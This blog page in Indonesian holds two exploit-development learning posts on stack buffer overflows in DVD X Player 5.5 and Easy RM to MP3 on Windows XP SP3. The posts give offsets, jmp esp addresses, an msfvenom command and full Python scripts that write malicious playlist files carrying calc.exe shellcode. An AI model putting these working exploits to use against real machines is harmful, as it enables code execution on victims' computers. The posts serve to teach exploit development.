Не важно, как медленно ты продвигаешься, главное, что ты не останавливаешься.


Monday 29 April 2019

Windows Exploit, Simple Buffer Overflow 2

Target : DVD X Player 5.5
OS : Windows XP SP3

Niatnya mempelajari SEH based exploit, tapi mentok dibeberapa step yang tidak sesuai, akhirnya dialihkan ke simple buffer overflow biasa. Tulisan ini hanya sebagai catatan pembelajaran yang isinya tidak jauh dari artikel sebelumnya. 

Crash

Pada kasus ini terdapat 2 crash:
  1. Crash yang terjadi karena overwrite SEH (608)
  2. Crash overwrite EIP(260)
Percobaan kali ini akan menggunakan crash yang kedua, overwrite pada EIP. Pencarian crash menggunakan ragg2 dengan besaran 300, sehingga mendapatkan angka 260.
import struct

#ragg2 -P 300 -r
#ragg2 -q 0x42416142
#Little endian: 260
#Big endian: -1

buf = 'A' * 260
buf += struct.pack('<L',0xdeadbeef)
with open('dvdx300ragg2.plf','wb') as f:
 f.write(buf)

Jump

Pencarian jump esp dilakukan menggunakan mona.py pada immunity debugger, terdapat beberapa alamat yang mengandung jmp esp.
!mona jmp -r esp
Log data, item 21
 Address=61636E56
 Message=  0x61636e56 : push esp # ret 0x0c | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)

langkah selajutnya test alamat jmp esp yang didapat dengan menggunakan INT3 ('\xCC')
import struct

buf = 'A' * 260
buf += struct.pack('<L',0x61636e56)
buf += '\xCC' * 200
with open('payload.plf','wb') as f:
 f.write(buf)
jmp esp berhasil mengantarkan kita ke shellcode yang akan dibuat.

Shellcode

Shellcode sederhana yang akan ditambahkan adalah nopsled + calc.exe
import struct

buf = 'A' * 260
buf += struct.pack('<L',0x61636e56)
buf += '\x90' * 50
buf += "\xd9\xeb\xd9\x74\x24\xf4\xbb\x35\x98\x92\xbe\x5a\x33"
buf += "\xc9\xb1\x31\x31\x5a\x18\x03\x5a\x18\x83\xc2\x31\x7a"
buf += "\x67\x42\xd1\xf8\x88\xbb\x21\x9d\x01\x5e\x10\x9d\x76"
buf += "\x2a\x02\x2d\xfc\x7e\xae\xc6\x50\x6b\x25\xaa\x7c\x9c"
buf += "\x8e\x01\x5b\x93\x0f\x39\x9f\xb2\x93\x40\xcc\x14\xaa"
buf += "\x8a\x01\x54\xeb\xf7\xe8\x04\xa4\x7c\x5e\xb9\xc1\xc9"
buf += "\x63\x32\x99\xdc\xe3\xa7\x69\xde\xc2\x79\xe2\xb9\xc4"
buf += "\x78\x27\xb2\x4c\x63\x24\xff\x07\x18\x9e\x8b\x99\xc8"
buf += "\xef\x74\x35\x35\xc0\x86\x47\x71\xe6\x78\x32\x8b\x15"
buf += "\x04\x45\x48\x64\xd2\xc0\x4b\xce\x91\x73\xb0\xef\x76"
buf += "\xe5\x33\xe3\x33\x61\x1b\xe7\xc2\xa6\x17\x13\x4e\x49"
buf += "\xf8\x92\x14\x6e\xdc\xff\xcf\x0f\x45\xa5\xbe\x30\x95"
buf += "\x06\x1e\x95\xdd\xaa\x4b\xa4\xbf\xa0\x8a\x3a\xba\x86"
buf += "\x8d\x44\xc5\xb6\xe5\x75\x4e\x59\x71\x8a\x85\x1e\x8d"
buf += "\xc0\x84\x36\x06\x8d\x5c\x0b\x4b\x2e\x8b\x4f\x72\xad"
buf += "\x3e\x2f\x81\xad\x4a\x2a\xcd\x69\xa6\x46\x5e\x1c\xc8"
buf += "\xf5\x5f\x35\xab\x98\xf3\xd5\x02\x3f\x74\x7f\x5b"
with open('payload.plf','wb') as f:
 f.write(buf)


5 λ .: April 2019 Target : DVD X Player 5.5 OS : Windows XP SP3 Exploit-db :  https://www.exploit-db.com/exploits/17754 Niatnya mempelajari SEH based...

Thursday 25 April 2019

Windows Exploit, Simple Buffer Overflow

Exploit development series kali ini akan membahas tentang aplikasi easy RM to MP3 yang berjalan pada windows XP SP3, walaupun aplikasi lawas, kasus ini merupakan contoh yang bagus untuk mempelajari simple buffer overflow pada sistem operasi windows.

Target : easy RM to MP3
OS : Windows XP SP3

The Crash

Aplikasi ini akan crash jika input berjumlah 26068 pada windows xp sp3, payload dimasukkan kedalam file m3u yang diload pada aplikasi. Pencarian crash dimulai dari kelipatan 10000, ditemukan crash pada 30000.
buf = 'A' * 30000
with open('payload.m3u','wb') as f:
  f.write(buf)
Untuk mencari angka pasti besar buffer sebelum menyentuh eip, dapat menggunakan pattern generator seperti ragg2, metasploit pattern create, mona pc, dll.
ragg2 -P 30000 -r > payload.m3u
ragg2 -q 0x58434B58
Little endian: 26068
Big endian: -1
Pada penggunaan !mona pc (pattern create) entah mengapa jika pattern yang dibuat langsung 30000, tidak dapat ditemukan angka 26068 pada !mona po(pattern offset), sehingga untuk mengakali ini payload diperkecil untuk !mona pc 5000, sehingga payload yang dibuat 'A' * 25000 + mona pc 5000

 
Sehingga payload yang dibuat menjadi 25000 + 1068 = 26068 Verifikasi crash dengan overwrite eip:
import struct

buf = 'A' * 26068
buf += struct.pack('<L', 0xdeadbeef)
with open('payload.m3u', 'wb') as f :
  f.write(buf)

Jump

Setelah berhasil overwrite EIP dengan cara diatas, langkah selanjutnya adalah mengendalikan EIP supaya menuju shellcode yang akan dibuat. Untuk itu, kita harus mencari JMP yang menuju ke stack (ESP register).
!mona jmp -r esp

ada sekitar 93 pointer yang mengandung jmp esp / call esp, dari sekian banyak pointer yang ada, pilih address yang tidak mengandung null character. Untuk membuktikan jmp esp jatuh pada shellcode yang akan dibuat, tambahkan '\xCC' (INT3) agar aplikasi berhenti pada saat proccess debugging berjalan.
import struct

buf = 'A' * 26068
buf += struct.pack('<L',0x7C874413)
buf += '\xCC' * 20
with open('payload.m3u','wb') as f:
  f.write(buf)

Jika diperhatikan, pointer akan menunjuk ke alamat 0x000FF731. Ada beberapa byte antara 'A' 0x41 (0x000FF727) dengan pointer yang ditunjuk. Space ini dapat di isi dengan NOP sled, sehingga pointer dapat menunjuk kepada shellcode tanpa menimbulkan crash pada aplikasi.
import struct

buf = 'A' * 26068
buf += struct.pack('<L',0x7C874413)
buf += '\x90' * 20
with open('payload.m3u','wb') as f:
  f.write(buf)

Final Payload

Langkah terakhir yang dilakukan pada percobaan ini adalah membuat shellcode untuk menampilkan calc.exe, shellcode ini dapat juga diganti dengan payload dari metasploit, dll. dapat disesuaikan dengan kebutuhan masing-masing.
msfvenom -a x86 --platform windows -p windows/exec CMD='calc.exe' -b '\x00\x09\x0a\x0d\x1a\x20' --format python

Final size of python file: 1060 bytes
buf =  ""
buf += "\xd9\xeb\xd9\x74\x24\xf4\xbb\x35\x98\x92\xbe\x5a\x33"
buf += "\xc9\xb1\x31\x31\x5a\x18\x03\x5a\x18\x83\xc2\x31\x7a"
buf += "\x67\x42\xd1\xf8\x88\xbb\x21\x9d\x01\x5e\x10\x9d\x76"
buf += "\x2a\x02\x2d\xfc\x7e\xae\xc6\x50\x6b\x25\xaa\x7c\x9c"
buf += "\x8e\x01\x5b\x93\x0f\x39\x9f\xb2\x93\x40\xcc\x14\xaa"
buf += "\x8a\x01\x54\xeb\xf7\xe8\x04\xa4\x7c\x5e\xb9\xc1\xc9"
buf += "\x63\x32\x99\xdc\xe3\xa7\x69\xde\xc2\x79\xe2\xb9\xc4"
buf += "\x78\x27\xb2\x4c\x63\x24\xff\x07\x18\x9e\x8b\x99\xc8"
buf += "\xef\x74\x35\x35\xc0\x86\x47\x71\xe6\x78\x32\x8b\x15"
buf += "\x04\x45\x48\x64\xd2\xc0\x4b\xce\x91\x73\xb0\xef\x76"
buf += "\xe5\x33\xe3\x33\x61\x1b\xe7\xc2\xa6\x17\x13\x4e\x49"
buf += "\xf8\x92\x14\x6e\xdc\xff\xcf\x0f\x45\xa5\xbe\x30\x95"
buf += "\x06\x1e\x95\xdd\xaa\x4b\xa4\xbf\xa0\x8a\x3a\xba\x86"
buf += "\x8d\x44\xc5\xb6\xe5\x75\x4e\x59\x71\x8a\x85\x1e\x8d"
buf += "\xc0\x84\x36\x06\x8d\x5c\x0b\x4b\x2e\x8b\x4f\x72\xad"
buf += "\x3e\x2f\x81\xad\x4a\x2a\xcd\x69\xa6\x46\x5e\x1c\xc8"
buf += "\xf5\x5f\x35\xab\x98\xf3\xd5\x02\x3f\x74\x7f\x5b"

Kombinasikan dengan script python yang sudah dibuat:
import struct

buf = 'A' * 26068
buf += struct.pack('<L',0x7C874413)
buf += '\x90' * 20
buf += "\xd9\xeb\xd9\x74\x24\xf4\xbb\x35\x98\x92\xbe\x5a\x33"
buf += "\xc9\xb1\x31\x31\x5a\x18\x03\x5a\x18\x83\xc2\x31\x7a"
buf += "\x67\x42\xd1\xf8\x88\xbb\x21\x9d\x01\x5e\x10\x9d\x76"
buf += "\x2a\x02\x2d\xfc\x7e\xae\xc6\x50\x6b\x25\xaa\x7c\x9c"
buf += "\x8e\x01\x5b\x93\x0f\x39\x9f\xb2\x93\x40\xcc\x14\xaa"
buf += "\x8a\x01\x54\xeb\xf7\xe8\x04\xa4\x7c\x5e\xb9\xc1\xc9"
buf += "\x63\x32\x99\xdc\xe3\xa7\x69\xde\xc2\x79\xe2\xb9\xc4"
buf += "\x78\x27\xb2\x4c\x63\x24\xff\x07\x18\x9e\x8b\x99\xc8"
buf += "\xef\x74\x35\x35\xc0\x86\x47\x71\xe6\x78\x32\x8b\x15"
buf += "\x04\x45\x48\x64\xd2\xc0\x4b\xce\x91\x73\xb0\xef\x76"
buf += "\xe5\x33\xe3\x33\x61\x1b\xe7\xc2\xa6\x17\x13\x4e\x49"
buf += "\xf8\x92\x14\x6e\xdc\xff\xcf\x0f\x45\xa5\xbe\x30\x95"
buf += "\x06\x1e\x95\xdd\xaa\x4b\xa4\xbf\xa0\x8a\x3a\xba\x86"
buf += "\x8d\x44\xc5\xb6\xe5\x75\x4e\x59\x71\x8a\x85\x1e\x8d"
buf += "\xc0\x84\x36\x06\x8d\x5c\x0b\x4b\x2e\x8b\x4f\x72\xad"
buf += "\x3e\x2f\x81\xad\x4a\x2a\xcd\x69\xa6\x46\x5e\x1c\xc8"
buf += "\xf5\x5f\x35\xab\x98\xf3\xd5\x02\x3f\x74\x7f\x5b"
with open('payload.m3u','wb') as f:
  f.write(buf)


5 λ .: April 2019 Exploit development series kali ini akan membahas tentang aplikasi easy RM to MP3 yang berjalan pada windows XP SP3, walaupun aplikasi lawas...
< >